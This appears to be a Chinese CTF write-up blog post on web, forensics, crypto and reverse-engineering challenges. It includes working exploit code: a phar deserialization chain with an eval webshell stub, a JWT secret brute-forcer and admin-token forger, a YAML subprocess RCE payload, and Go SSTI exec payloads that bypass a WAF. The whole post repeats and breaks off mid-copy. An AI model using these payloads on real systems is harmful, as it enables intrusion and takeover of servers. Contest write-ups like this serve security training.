标签 JWT伪造 下的文章

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
